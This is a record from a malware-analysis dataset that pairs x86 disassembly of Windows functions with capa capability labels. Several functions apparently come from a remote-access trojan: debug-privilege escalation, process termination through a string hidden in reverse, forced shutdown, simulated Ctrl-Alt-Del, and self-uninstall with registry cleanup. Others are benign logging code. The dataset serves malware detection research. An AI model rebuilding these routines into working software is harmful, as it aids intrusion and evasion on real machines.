joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1000d7d0
Capabilities:
Acquire debug privileges

Disassembly:
sub esp, 0x24
push ebx
push ebp
push esi
push edi
push 1
mov dword [esp + 0x14], ecx
push str.SeDebugPrivilege
call fcn.1000dac0
mov ebx, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
add esp, 8
push str.MoveFileExA
push str.KERNEL32.dll
call ebx
mov ebp, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebp
push str.DisconnectNamedPipe
push str.KERNEL32.dll
call ebx
push eax
call ebp
mov ecx, 7
xor eax, eax
lea edi, [esp + 0x14]
lea edx, [esp + 0x14]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
mov edi, str.ssecorPetanimreT
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov eax, ecx
mov esi, edi
mov edi, edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea ecx, [esp + 0x14]
push ecx
call dword [sym.imp.MSVCRT.dll__strrev]
add esp, 4
push eax
push str.KERNEL32.dll
call ebx
push eax
call ebp
mov ebp, dword [esp + 0x3c]
xor esi, esi
test ebp, ebp
mov ebx, eax
jbe 0x1000d898
mov edx, dword [esp + 0x38]
mov eax, dword [esi + edx]
push eax
push 0
push 0x1f0fff
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov edi, eax
push 0
push edi
call ebx
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
add esi, 4
cmp esi, ebp
jb 0x1000d86e
push 0
push str.SeDebugPrivilege
call fcn.1000dac0
add esp, 8
push 0x64
call dword [sym.imp.KERNEL32.dll_Sleep]
mov esi, dword [esp + 0x10]
mov ecx, esi
call fcn.1000d760
mov ecx, esi
call fcn.1000d790
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x24
ret 8
Function at 0x1000d8d0
Capabilities:
Acquire debug privileges
Enumerate process modules
Enumerate processes

Disassembly:
sub esp, 0x238
push esi
push edi
xor esi, esi
mov ecx, 0x49
xor eax, eax
lea edi, [esp + 0x18]
mov dword [esp + 0x14], esi
mov byte [esp + 0x13c], al
rep stosd dword es:[edi], eax
mov ecx, 0x40
lea edi, [esp + 0x13d]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
push 1
push str.SeDebugPrivilege
mov dword [esp + 0x10], esi
stosb byte es:[edi], al
call fcn.1000dac0
add esp, 8
push esi
push 2
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
mov edi, eax
cmp edi, 0xffffffff
mov dword [esp + 0xc], edi
jne 0x1000d934
pop edi
xor eax, eax
pop esi
add esp, 0x238
ret
push ebx
push ebp
push 0x400
push 0x40
mov dword [esp + 0x24], 0x128
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
mov ebp, eax
lea eax, [esp + 0x1c]
push eax
push edi
mov byte [ebp], 0x7f
mov ebx, 1
call sub.KERNEL32.dll_Process32First
test eax, eax
je 0x1000da83
mov ecx, dword [esp + 0x24]
push ecx
push 0
push 0x410
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov esi, eax
mov eax, dword [esp + 0x24]
test eax, eax
je 0x1000da70
cmp eax, 4
je 0x1000da70
cmp eax, 8
je 0x1000da70
lea edx, [esp + 0x18]
lea eax, [esp + 0x10]
push edx
push 4
push eax
push esi
call sub.PSAPI.DLL_EnumProcessModules
mov edx, dword [esp + 0x10]
lea ecx, [esp + 0x144]
push 0x104
push ecx
push edx
push esi
call sub.PSAPI.DLL_GetModuleFileNameExA
mov edi, dword [sym.imp.KERNEL32.dll_lstrlenA]
lea eax, [esp + 0x40]
push eax
call edi
lea ecx, [esp + 0x144]
mov esi, eax
push ecx
call edi
lea esi, [esi + eax + 6]
push ebp
add esi, ebx
call dword [sym.imp.KERNEL32.dll_LocalSize]
cmp eax, esi
jae 0x1000d9fb
push 0x42
push esi
push ebp
call dword [sym.imp.KERNEL32.dll_LocalReAlloc]
mov ebp, eax
mov edx, dword [esp + 0x24]
lea eax, [esp + 0x40]
mov dword [ebx + ebp], edx
push eax
add ebx, 4
call edi
mov ecx, eax
lea esi, [esp + 0x40]
inc ecx
lea edi, [ebx + ebp]
mov edx, ecx
lea eax, [esp + 0x40]
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
push eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov esi, dword [sym.imp.KERNEL32.dll_lstrlenA]
call esi
lea ecx, [esp + 0x144]
lea ebx, [ebx + eax + 1]
push ecx
call esi
mov ecx, eax
lea esi, [esp + 0x144]
inc ecx
lea edi, [ebx + ebp]
mov edx, ecx
lea eax, [esp + 0x144]
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
push eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
call dword [sym.imp.KERNEL32.dll_lstrlenA]
mov edi, dword [esp + 0x14]
lea ebx, [ebx + eax + 1]
lea ecx, [esp + 0x1c]
push ecx
push edi
call sub.KERNEL32.dll_Process32Next
test eax, eax
jne 0x1000d969
push 0x42
push ebx
push ebp
call dword [sym.imp.KERNEL32.dll_LocalReAlloc]
push 0
push str.SeDebugPrivilege
mov esi, eax
call fcn.1000dac0
add esp, 8
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop ebp
pop ebx
mov eax, esi
pop edi
pop esi
add esp, 0x238
ret

Function at 0x1000db50
Capabilities:
Shutdown system

Disassembly:
push 1
push str.SeShutdownPrivilege
call fcn.1000dac0
mov eax, dword [esp + 0xc]
add esp, 8
push 0
push eax
call dword [sym.imp.USER32.dll_ExitWindowsEx]
push 0
push str.SeShutdownPrivilege
call fcn.1000dac0
add esp, 8
ret
Function at 0x1000dbf0
Capabilities:
Get graphical window text

Disassembly:
push ebx
mov ebx, ecx
mov eax, dword [ebx + 0x10]
push eax
call dword [sym.imp.KERNEL32.dll_LocalSize]
mov ecx, eax
mov eax, 0xfe03f81
dec ecx
mul ecx
shr edx, 6
je 0x1000dc3f
push ebp
mov ebp, dword [sym.imp.USER32.dll_GetWindowTextA]
push esi
push edi
xor esi, esi
mov edi, edx
mov edx, dword [ebx + 0x10]
push 0x400
lea eax, [esi + edx + 1]
mov edx, dword [esi + edx + 0x405]
lea ecx, [eax + 4]
push ecx
push edx
call ebp
add esi, 0x408
dec edi
jne 0x1000dc19
pop edi
pop esi
pop ebp
pop ebx
ret

Function at 0x1000dd50
Capabilities:
Print debug messages

Disassembly:
push esi
mov esi, dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
push edi
push 0x1001a938
call esi
mov edi, dword [esp + 0xc]
push edi
call esi
mov edi, dword [edi]
push 3
push edi
call dword [sym.imp.USER32.dll_ShowWindow]
pop edi
pop esi
ret 4

Function at 0x1000dda0
Capabilities:
Hide graphical window
Print debug messages

Disassembly:
push esi
mov esi, dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
push edi
push 0x1001a944
call esi
mov edi, dword [esp + 0xc]
push edi
call esi
mov edi, dword [edi]
push 0
push edi
call dword [sym.imp.USER32.dll_ShowWindow]
pop edi
pop esi
ret 4

Function at 0x1000ddd0
Capabilities:
Print debug messages

Disassembly:
push esi
mov esi, dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
push edi
push 0x1001a950
call esi
mov edi, dword [esp + 0xc]
push edi
call esi
mov edi, dword [edi]
push 5
push edi
call dword [sym.imp.USER32.dll_ShowWindow]
pop edi
pop esi
ret 4

Function at 0x1000de40
Capabilities:
Check if file exists
Get file attributes
Print debug messages

Disassembly:
sub esp, 0x104
mov edx, ecx
mov ecx, 0x41
xor eax, eax
push esi
push edi
lea edi, [esp + 8]
lea esi, [edx + 4]
rep stosd dword es:[edi], eax
mov ecx, 0x41
mov edi, esi
rep stosd dword es:[edi], eax
mov eax, dword [0x1001bff8]
push 0x104
push esi
push eax
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
push esi
lea ecx, [esp + 0xc]
push str._s.dll
push ecx
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0xc
lea edx, [esp + 8]
push edx
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
pop edi
cmp eax, 0xffffffff
pop esi
jne 0x1000deaf
push 0x1001a95c
call dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
mov al, 2
add esp, 0x104
ret
mov al, 1
add esp, 0x104
ret
Function at 0x1000dec0
Capabilities:
Create process on windows
Delete file
Move file
Print debug messages

Disassembly:
sub esp, 0x464
xor eax, eax
push ebx
push ebp
push esi
mov esi, ecx
push edi
mov ecx, 0x41
lea edi, [esp + 0x26c]
mov ebx, dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
rep stosd dword es:[edi], eax
mov ecx, 0x41
lea edi, [esp + 0x64]
rep stosd dword es:[edi], eax
mov ecx, 0x41
lea edi, [esp + 0x168]
rep stosd dword es:[edi], eax
push 0x1001a408
call ebx
mov eax, dword [esp + 0x478]
push eax
call ebx
push 0x1001a400
call ebx
lea edi, [esi + 4]
push edi
call ebx
mov ecx, dword [0x1001c010]
push ecx
call dword [sym.imp.KERNEL32.dll_SetEvent]
mov edx, dword [0x1001c014]
push 0xffffffffffffffff
push edx
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
push 0x7d0
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0x1001a9b0
call ebx
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
lea edx, [esp + 0x168]
mov eax, ecx
mov esi, edi
mov edi, edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
call dword [sym.imp.KERNEL32.dll_GetTickCount]
mov ebp, dword [sym.imp.USER32.dll_wsprintfA]
push eax
lea ecx, [esp + 0x68]
push str._d.bak.dll
push ecx
call ebp
add esp, 0xc
lea edx, [esp + 0x64]
lea eax, [esp + 0x168]
push edx
push eax
call dword [sym.imp.KERNEL32.dll_MoveFileA]
push 4
lea ecx, [esp + 0x68]
push 0
push ecx
call dword [sym.imp.KERNEL32.dll_MoveFileExA]
lea edi, [esp + 0x64]
or ecx, 0xffffffff
xor eax, eax
lea edx, [esp + 0x26c]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov eax, ecx
mov esi, edi
mov edi, edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
xor eax, eax
and ecx, 3
lea edx, [esp + 0x64]
rep movsb byte es:[edi], byte [esi]
mov ecx, 0x41
lea edi, [esp + 0x64]
rep stosd dword es:[edi], eax
lea ecx, [esp + 0x168]
push ecx
push str._s_lang.ini
push edx
call ebp
mov edi, dword [sym.imp.KERNEL32.dll_DeleteFileA]
add esp, 0xc
xor ebp, ebp
xor esi, esi
lea eax, [esp + 0x64]
push eax
call edi
test eax, eax
jne 0x1000e018
push 0x14
call dword [sym.imp.KERNEL32.dll_Sleep]
inc esi
cmp esi, 0xa
jle 0x1000dfff
push 0x1001a994
call ebx
mov ecx, 0x41
xor eax, eax
lea edi, [esp + 0x370]
lea edx, [esp + 0x26c]
rep stosd dword es:[edi], eax
mov ecx, dword [esp + 0x478]
lea eax, [esp + 0x370]
push ecx
push edx
mov esi, 1
push str.rundll32.exe__s_UninstallServer__s
push eax
mov dword [esp + 0x20], 0x44
mov dword [esp + 0x28], ebp
mov dword [esp + 0x24], ebp
mov dword [esp + 0x2c], ebp
mov dword [esp + 0x4c], esi
mov word [esp + 0x52], bp
mov dword [esp + 0x54], ebp
mov word [esp + 0x50], si
call dword [sym.imp.MSVCRT.dll_sprintf]
add esp, 0x10
lea ecx, [esp + 0x54]
lea edx, [esp + 0x10]
lea eax, [esp + 0x370]
push ecx
push edx
push ebp
push ebp
push ebp
push ebp
push ebp
push ebp
push eax
push ebp
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
mov ecx, dword [esp + 0x47c]
push ecx
push ebp
push esi
push ebp
call dword [sym.imp.KERNEL32.dll_CreateEventA]
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x464
ret 8
Function at 0x1000e0c0
Capabilities:
Delete file
Delete registry key
Print debug messages
Terminate process

Disassembly:
sub esp, 0x608
push ebx
push esi
mov esi, dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
push edi
push str.ActiveX
call esi
mov eax, dword [0x1001c010]
push eax
call dword [sym.imp.KERNEL32.dll_SetEvent]
mov ecx, dword [0x1001c014]
push 0xffffffffffffffff
push ecx
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov ebx, dword [sym.imp.KERNEL32.dll_Sleep]
push 0x7d0
call ebx
push 0x1001a9b0
call esi
mov ecx, 0x41
xor eax, eax
lea edi, [esp + 0xc]
lea edx, [esp + 0xc]
rep stosd dword es:[edi], eax
mov ecx, 0x41
lea edi, [esp + 0x110]
rep stosd dword es:[edi], eax
push edx
call fcn.1000c180
add esp, 4
lea eax, [esp + 0xc]
push eax
call esi
lea ecx, [esp + 0xc]
lea edx, [esp + 0x110]
push ecx
push str._s_lang.ini
push edx
call dword [sym.imp.USER32.dll_wsprintfA]
mov edi, dword [sym.imp.KERNEL32.dll_DeleteFileA]
add esp, 0xc
xor esi, esi
lea eax, [esp + 0xc]
push eax
call edi
test eax, eax
je 0x1000e170
lea ecx, [esp + 0x110]
push ecx
call edi
test eax, eax
jne 0x1000e176
inc esi
cmp esi, 0xa
jl 0x1000e157
push str.hapnreuc_ta8z_f5ct_p103_4rl507t9icb6
mov ecx, 0x100
xor eax, eax
lea edi, [esp + 0x218]
push str.SoftwareMicrosoftActive_SetupInstalled_Components_
lea edx, [esp + 0x21c]
push str._s_s
push edx
rep stosd dword es:[edi], eax
call dword [sym.imp.MSVCRT.dll_sprintf]
add esp, 0x10
lea eax, [esp + 0x214]
push eax
push SysStringLen
call dword [sym.imp.ADVAPI32.dll_RegDeleteKeyA]
push 0x3e8
call ebx
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]

Function at 0x1000e1d0
Capabilities:
Print debug messages

Disassembly:
sub esp, 0x108
push ebx
push ebp
push esi
mov ebp, ecx
push edi
mov ecx, 0x41
xor eax, eax
lea edi, [esp + 0x10]
rep stosd dword es:[edi], eax
mov dword [esp + 0x114], eax
lea eax, [esp + 0x10]
push eax
mov ecx, ebp
call fcn.1000e290
test al, al
je 0x1000e24b
lea esi, [esp + 0x10]
lea eax, [esp + 0x11c]
mov dl, byte [eax]
mov bl, byte [esi]
mov cl, dl
cmp dl, bl
jne 0x1000e233
test cl, cl
je 0x1000e22f
mov dl, byte [eax + 1]
mov bl, byte [esi + 1]
mov cl, dl
cmp dl, bl
jne 0x1000e233
add eax, 2
add esi, 2
test cl, cl
jne 0x1000e20b
xor eax, eax
jmp 0x1000e238
sbb eax, eax
sbb eax, 0xffffffff
test eax, eax
jne 0x1000e24b
mov al, 1
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x108
ret 0x108
push 0x1001a9dc
call dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
sub esp, 0x108
mov ecx, 0x42
lea esi, [esp + 0x224]
mov edi, esp
rep movsd dword es:[edi], dword [esi]
mov ecx, ebp
call fcn.1000e390
pop edi
pop esi
pop ebp
xor al, al
pop ebx
add esp, 0x108
ret 0x108
Function at 0x1000e650
Capabilities:
Print debug messages

Disassembly:
sub esp, 0x444
xor eax, eax
lea edx, [esp]
push ebx
push esi
mov ebx, ecx
push edi
mov ecx, 0x111
lea edi, [esp + 0xc]
rep stosd dword es:[edi], eax
lea edi, [esp + 0x454]
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov eax, ecx
mov esi, edi
mov edi, edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea ecx, [esp + 0xc]
push ecx
mov ecx, ebx
call fcn.1000e4a0
test al, al
je 0x1000e6b4
mov ecx, 0x111
lea edi, [esp + 0xc]
lea esi, [esp + 0x454]
xor edx, edx
repe cmpsd dword [esi], dword es:[edi]
je 0x1000e6dc
push 0x1001a9dc
call dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
sub esp, 0x444
mov ecx, 0x111
lea esi, [esp + 0x898]
mov edi, esp
rep movsd dword es:[edi], dword [esi]
mov ecx, ebx
call fcn.1000e6f0
pop edi
pop esi
pop ebx
add esp, 0x444
ret 0x444

Function at 0x1000e920
Capabilities:
Create thread

Disassembly:
sub esp, 0x10
mov eax, dword [esp + 0x1c]
mov ecx, dword [esp + 0x20]
mov dl, byte [esp + 0x2c]
push esi
push 0
push 0
push 0
push 0
mov dword [esp + 0x14], eax
mov dword [esp + 0x18], ecx
mov byte [esp + 0x1c], dl
call dword [sym.imp.KERNEL32.dll_CreateEventA]
mov ecx, dword [esp + 0x28]
mov dword [esp + 0x10], eax
mov eax, dword [esp + 0x2c]
lea edx, [esp + 4]
push eax
mov eax, dword [esp + 0x20]
push ecx
mov ecx, dword [esp + 0x20]
push edx
push 0x1000e8a0
push eax
push ecx
call dword [sym.imp.MSVCRT.dll__beginthreadex]
mov edx, dword [esp + 0x28]
add esp, 0x18
mov esi, eax
push 0xffffffffffffffff
push edx
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov eax, dword [esp + 0x10]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, esi
pop esi
add esp, 0x10
ret

Function at 0x1000eb30
Capabilities:
Simulate ctrl alt del

Disassembly:
push esi
call dword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
push eax
call dword [sym.imp.USER32.dll_GetThreadDesktop]
push str.Winlogon
mov esi, eax
call fcn.1000eae0
add esp, 4
test eax, eax
jne 0x1000eb53
pop esi
ret
push 0x2e0003
push 0
push 0x312
push 0xffff
call dword [sym.imp.USER32.dll_PostMessageA]
test esi, esi
je 0x1000eb77
push esi
call fcn.1000ea70
add esp, 4
mov eax, 1
pop esi
ret
Function at 0x40a840
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
mov eax, dword [ebp + 0xc]
push eax
mov ecx, dword [ebp + 8]
push ecx
call dword [sym.imp.KERNEL32.dll_LoadResource]
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0
jne 0x40a864
xor eax, eax
jmp 0x40a8e4
mov edx, dword [ebp - 0xc]
push edx
call dword [sym.imp.KERNEL32.dll_LockResource]
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
jne 0x40a87b
xor eax, eax
jmp 0x40a8e4
mov eax, dword [ebp + 0xc]
push eax
mov ecx, dword [ebp + 8]
push ecx
call dword [sym.imp.KERNEL32.dll_SizeofResource]
mov dword [ebp - 0x14], eax
mov edx, dword [ebp - 4]
add edx, dword [ebp - 0x14]
mov dword [ebp - 0x10], edx
mov eax, dword [ebp + 0x10]
and eax, 0xf
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0
jbe 0x40a8c7
mov ecx, dword [ebp - 4]
cmp ecx, dword [ebp - 0x10]
jae 0x40a8c7
mov edx, dword [ebp - 4]
movzx eax, word [edx]
mov ecx, dword [ebp - 4]
lea edx, [ecx + eax*2 + 2]
mov dword [ebp - 4], edx
mov eax, dword [ebp - 8]
sub eax, 1
mov dword [ebp - 8], eax
jmp 0x40a89e
mov ecx, dword [ebp - 4]
cmp ecx, dword [ebp - 0x10]
jb 0x40a8d3
xor eax, eax
jmp 0x40a8e4
mov edx, dword [ebp - 4]
movzx eax, word [edx]
test eax, eax
jne 0x40a8e1
xor eax, eax
jmp 0x40a8e4
mov eax, dword [ebp - 4]
mov esp, ebp
pop ebp
ret
Function at 0x40ddd0
Capabilities:
Check if file exists
Create directory
Get file attributes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x144
mov eax, dword [0x4aa0cc]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
mov esi, ecx
mov byte [ebp - 0x130], 0
push 0x12b
lea eax, [ebp - 0x12f]
push 0
push eax
mov dword [esi], vtable.core_log::log_device_file.0
call sub.MSVCR120.dll_memset
add esp, 0xc
call fcn.00406e90
push eax
lea ecx, [ebp - 0x144]
call fcn.004067c0
lea eax, [ebp - 0x140]
push eax
call dword [sym.imp.KERNEL32.dll_GetLocalTime]
push 0x493b9c
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
je 0x40de3b
test al, 0x10
jne 0x40de48
push 0
push 0x493b9c
call dword [sym.imp.KERNEL32.dll_CreateDirectoryW]
movzx eax, word [ebp - 0x13a]
push eax
movzx eax, word [ebp - 0x13e]
push eax
movzx eax, word [ebp - 0x140]
push eax
push str.c:MyLogMyLog__d__02d__02d.log
push 0xffffffffffffffff
lea eax, [ebp - 0x130]
push 0x12c
push eax
call dword [sym.imp.MSVCR120.dll__snprintf_s]
push 0x493bd0
lea eax, [ebp - 0x130]
push eax
lea ecx, [esi + 4]
push ecx
call dword [sym.imp.MSVCR120.dll_fopen_s]
add esp, 0x28
lea ecx, [ebp - 0x144]
call fcn.00405fb0
mov ecx, dword [ebp - 4]
mov eax, esi
xor ecx, ebp
pop esi
call fcn.0047dbfe
mov esp, ebp
pop ebp
ret

Function at 0x40def0
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push edi
mov edi, ecx
mov eax, dword [edi + 4]
test eax, eax
je 0x40df2a
push eax
push dword [ebp + 0xc]
push 1
push dword [ebp + 8]
call dword [sym.imp.MSVCR120.dll_fwrite]
push dword [edi + 4]
push 2
push 1
push 0x493bd4
call dword [sym.imp.MSVCR120.dll_fwrite]
push dword [edi + 4]
call dword [sym.imp.MSVCR120.dll_fflush]
add esp, 0x24
pop edi
pop ebp
ret 8

Function at 0x40e020
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
lea eax, [ebp - 8]
mov dword [ebp - 8], 0
push eax
push 0x20119
push 0
push str.SOFTWAREMyLogLog
push reloc.OLEAUT32.dll_SysReAllocString
mov word [0x4af32c], 0
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x40e0cf
push edi
mov dword [ebp - 4], eax
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 4]
mov dword [ebp - 0xc], 4
push eax
push 0
push 0
push str.EnableLogToView
push dword [ebp - 8]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
mov edi, 1
test eax, eax
jne 0x40e095
movzx eax, byte [0x4af32c]
cmp dword [ebp - 4], edi
cmove eax, edi
mov byte [0x4af32c], al
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 4]
push eax
push 0
push 0
push str.EnableLogToFile
push dword [ebp - 8]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
test eax, eax
jne 0x40e0c5
movzx eax, byte [0x4af32d]
cmp dword [ebp - 4], edi
cmove eax, edi
mov byte [0x4af32d], al
push dword [ebp - 8]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
pop edi
mov esp, ebp
pop ebp
ret

Function at 0x415560
Capabilities:
Check if file exists
Get file attributes

Disassembly:
push ecx
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
je 0x415576
test al, 0x10
jne 0x415576
mov eax, 1
ret
xor eax, eax
ret
Function at 0x415b60
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x48329e
mov eax, dword fs:[0]
push eax
sub esp, 0x22c
mov eax, dword [0x4aa0cc]
xor eax, ebp
mov dword [ebp - 0x10], eax
push esi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov esi, ecx
mov eax, dword [0x4af358]
mov dword [ebp - 0x21c], 0
test al, 1
jne 0x415bce
or eax, 1
mov dword [0x4af358], eax
mov ecx, 0x4af340
mov dword [ebp - 4], 0
call fcn.00403390
push 0x4880f0
call fcn.0047dd43
add esp, 4
mov dword [ebp - 4], 0xffffffff
mov ecx, 0x4af340
call fcn.004034a0
test al, al
je 0x415c43
xor eax, eax
push 0x206
push eax
mov word [ebp - 0x218], ax
lea eax, [ebp - 0x216]
push eax
call sub.MSVCR120.dll_memset
add esp, 0xc
lea eax, [ebp - 0x218]
push eax
push 0x104
call dword [sym.imp.KERNEL32.dll_GetTempPathW]
lea eax, [ebp - 0x218]
mov ecx, 0x4af340
push eax
call fcn.00403460
mov edx, 0x4af340
lea ecx, [ebp - 0x234]
call fcn.00415890
push eax
mov ecx, 0x4af340
call fcn.0040d5e0
lea ecx, [ebp - 0x234]
call fcn.004033c0
push 0x4af340
mov ecx, esi
call fcn.00403330
mov eax, esi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop esi
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.0047dbfe
mov esp, ebp
pop ebp
ret
Function at 0x41f840
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff0
sub esp, 0x288
mov eax, dword [0x4aa0cc]
xor eax, esp
mov dword [esp + 0x284], eax
push esi
push edi
mov edi, edx
test ecx, ecx
je 0x41f9fa
cmp word [ecx], 0
je 0x41f9fa
push ecx
lea ecx, [esp + 0x6c]
call fcn.004058c0
xor eax, eax
push 0x206
push eax
mov word [esp + 0x88], ax
lea eax, [esp + 0x8a]
push eax
call sub.MSVCR120.dll_memset
add esp, 0xc
lea ecx, [esp + 0x80]
test edi, edi
mov esi, 0x493b50
mov eax, ecx
mov edx, 0x104
cmovne esi, edi
sub esi, eax
lea eax, [edx + 0x7ffffefa]
test eax, eax
je 0x41f8d2
movzx eax, word [esi + ecx]
test ax, ax
je 0x41f8d2
mov word [ecx], ax
add ecx, 2
dec edx
jne 0x41f8b4
jmp 0x41f8d6
test edx, edx
jne 0x41f8d9
sub ecx, 2
xor eax, eax
push 0x44
push eax
mov word [ecx], ax
lea eax, [esp + 0x28]
push eax
call sub.MSVCR120.dll_memset
add esp, 0xc
mov dword [esp + 0x20], 0x44
xorps xmm0, xmm0
movdqa xmmword [esp + 0x10], xmm0
push 0x20081
push 0
push 0
push 0x4943f4
call dword [sym.imp.USER32.dll_OpenDesktopW]
mov dword [esp + 0xc], eax
test eax, eax
jne 0x41f93f
lea ecx, [esp + 0x68]
mov edi, 0x80070005
call fcn.004033c0
mov eax, edi
pop edi
pop esi
mov ecx, dword [esp + 0x284]
xor ecx, esp
call fcn.0047dbfe
mov esp, ebp
pop ebp
ret
push 0x8001
call dword [sym.imp.KERNEL32.dll_SetErrorMode]
push 0
mov esi, eax
call dword [sym.imp.KERNEL32.dll_SetLastError]
xor ecx, ecx
lea eax, [esp + 0x10]
cmp word [esp + 0x80], cx
push eax
lea eax, [esp + 0x24]
push eax
lea eax, [esp + 0x88]
cmove eax, ecx
push eax
push ecx
push 0x1000400
push ecx
push ecx
push ecx
lea ecx, [esp + 0x88]
call fcn.00403480
push eax
push 0
call dword [sym.imp.KERNEL32.dll_CreateProcessW]
test eax, eax
je 0x41f9c5
mov eax, dword [esp + 0x10]
mov edi, dword [sym.imp.KERNEL32.dll_CloseHandle]
test eax, eax
je 0x41f9ae
push eax
call edi
mov dword [esp + 0x10], 0
mov eax, dword [esp + 0x14]
test eax, eax
je 0x41f9c1
push eax
call edi
mov dword [esp + 0x14], 0
xor edi, edi
jmp 0x41f9ca
mov edi, 0x80004005
push esi
call dword [sym.imp.KERNEL32.dll_SetErrorMode]
push dword [esp + 0xc]
call dword [sym.imp.USER32.dll_CloseDesktop]
lea ecx, [esp + 0x68]
call fcn.004033c0
mov eax, edi
pop edi
pop esi
mov ecx, dword [esp + 0x284]
xor ecx, esp
call fcn.0047dbfe
mov esp, ebp
pop ebp
ret
mov ecx, dword [esp + 0x28c]
mov eax, 0x80070057
pop edi
pop esi
xor ecx, esp
call fcn.0047dbfe
mov esp, ebp
pop ebp
ret